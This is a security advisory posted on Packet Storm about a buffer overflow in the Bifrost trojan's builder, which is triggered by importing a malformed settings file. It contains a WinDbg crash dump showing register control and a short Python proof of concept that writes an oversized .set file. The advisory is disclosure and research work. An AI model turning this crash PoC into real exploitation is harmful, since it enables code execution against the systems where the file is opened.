exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Constructor.Win32.Bifrose.asc MVID-2021-0263 Buffer Overflow / Heap Corruption

Constructor.Win32.Bifrose.asc MVID-2021-0263 Buffer Overflow / Heap Corruption
Posted Jun 28, 2021
Authored by malvuln | Site malvuln.com

Constructor.Win32.Bifrose.asc malware suffers from buffer overflow and heap corruption vulnerabilities.

tags | exploit, overflow, vulnerability
systems | windows
SHA-256 | f9de4beeccabbbacc6f282a0c87fbb59cbf7fb3821fe1d204bf99e19e0bb2667

Constructor.Win32.Bifrose.asc MVID-2021-0263 Buffer Overflow / Heap Corruption

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9e1ef166901534c276b5eeeee511fe22.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Constructor.Win32.Bifrose.asc
Vulnerability: Local Stack Buffer Overflow (Heap Corruption)
Description: Bifrost doesn't properly validate the IP address when importing Bifrost settings (.set) files. The IP address offset is located after a NULL byte which is preceded by the Bifrost file header "BifrostSettings". A corrupted Bifrost .set file containing an invalid IP address of about 2300 bytes will trigger a local stack buffer overflow overwriting the EAX register. EAX register typically stores return values from functions. This can allow an attacker to control program execution flow resulting in arbitrary code execution.
Type: PE32
MD5: 9e1ef166901534c276b5eeeee511fe22
Vuln ID: MVID-2021-0263
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 06/25/2021

Memory Dump:
0:000> r
Last set context:
eax=41414141 ebx=00186a38 ecx=00186a38 edx=0033f000 esi=00186a38 edi=00000000
eip=0044d008 esp=00185644 ebp=00185688 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210212
Constructor_Win32_Bifrose_asc+0x4d008:
0044d008 ff90f4000000 call dword ptr [eax+0F4h] ds:002b:41414235=????????

0:000> .ecxr
eax=41414141 ebx=00186a38 ecx=00186a38 edx=0033f000 esi=00186a38 edi=00000000
eip=0044d008 esp=00185644 ebp=00185688 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210212
Constructor_Win32_Bifrose_asc+0x4d008:
0044d008 ff90f4000000 call dword ptr [eax+0F4h] ds:002b:41414235=????????

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************


FAULTING_IP:
Constructor_Win32_Bifrose_asc+4d008
0044d008 ff90f4000000 call dword ptr [eax+0F4h]

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0044d008 (Constructor_Win32_Bifrose_asc+0x0004d008)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414235
Attempt to read from address 41414235

PROCESS_NAME: Constructor.Win32.Bifrose.asc.9e1ef166901534c276b5eeeee511fe22

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000000

EXCEPTION_PARAMETER2: 41414235

READ_ADDRESS: 41414235

FOLLOWUP_IP:
Constructor_Win32_Bifrose_asc+4d008
0044d008 ff90f4000000 call dword ptr [eax+0F4h]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

FAULTING_THREAD: 000011e8

BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_STRING_DEREFERENCE_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER: from 004044aa to 0044d008

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
00185688 004044aa 00000000 001862b8 004029b1 Constructor_Win32_Bifrose_asc+0x4d008
00185694 004029b1 bb58b0ee 0018688c 0000074c Constructor_Win32_Bifrose_asc+0x44aa
001862b8 00000000 00000000 00000000 00000000 Constructor_Win32_Bifrose_asc+0x29b1


STACK_COMMAND: !heap ; ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: Constructor_Win32_Bifrose_asc+4d008

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: Constructor_Win32_Bifrose_asc

IMAGE_NAME: Constructor.Win32.Bifrose.asc.9e1ef166901534c276b5eeeee511fe22

DEBUG_FLR_IMAGE_TIMESTAMP: 4775164b

FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Constructor.Win32.Bifrose.asc.9e1ef166901534c276b5eeeee511fe22!Unknown

BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_STRING_DEREFERENCE_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_Constructor_Win32_Bifrose_asc+4d008


Exploit/PoC:
1) To create the corrupt bifrost .set file you need the "BifrostSettings" header followed by a NULL byte followed by the payload. Otherwise, will get not a valid settings file error.

import struct

f=open('DOOM.set', 'wb')
f.write("BifrostSettings".encode('ascii'))
f.write(struct.pack('B', 0))
f.write(str("A"*2300).encode('ascii'))
f.close()

2) Go to builder menu item in bifrost
3) Import the corrupt bifrost .set (settings) file, Done!


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close